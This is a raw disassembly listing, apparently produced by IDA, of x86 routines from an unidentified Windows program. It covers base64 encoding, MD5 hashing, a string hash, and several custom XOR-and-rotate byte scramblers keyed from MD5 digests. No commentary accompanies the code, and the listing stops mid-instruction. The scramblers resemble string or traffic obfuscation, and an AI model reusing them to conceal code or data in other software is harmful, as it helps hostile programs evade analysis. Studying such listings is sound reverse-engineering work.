--------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41EA80[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41EA80[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41EA80[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41EA80[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: sub_4167F1+FEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EB84 call sub_40F26E pop ecx pop ecx lea eax, byte_41EB84 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EB84[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: sub_4167F1+10Cp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EB98 call sub_40F26E pop ecx pop ecx lea esi, dword_41EB98 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EB98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EB98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and 